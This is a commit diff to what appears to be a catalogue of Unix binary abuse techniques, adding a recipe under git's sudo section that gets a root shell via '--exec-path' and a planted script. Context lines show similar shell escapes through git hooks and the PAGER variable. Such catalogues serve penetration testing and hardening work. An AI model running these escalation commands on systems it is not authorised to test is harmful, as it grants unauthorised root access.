Add new sudo git function #Yaml_fix

This commit is contained in:
PaulSaladin 2020-10-02 15:53:06 +02:00 committed by Andrea Cardaci
parent b8dc2aa817
commit ef2ebf9d30

View File

@ -35,6 +35,12 @@ functions:
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x sudo git -C "$TF" commit --allow-empty -m x
- description: If file creation is allowed, it can be used to change Git path
code: |
mkdir /tmp/git
echo '/bin/bash' > /tmp/git/git-escalation
chmod +x /tmp/git/git-escalation
sudo git --exec-path=/tmp/git escalation
limited-suid: limited-suid:
- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
--- ---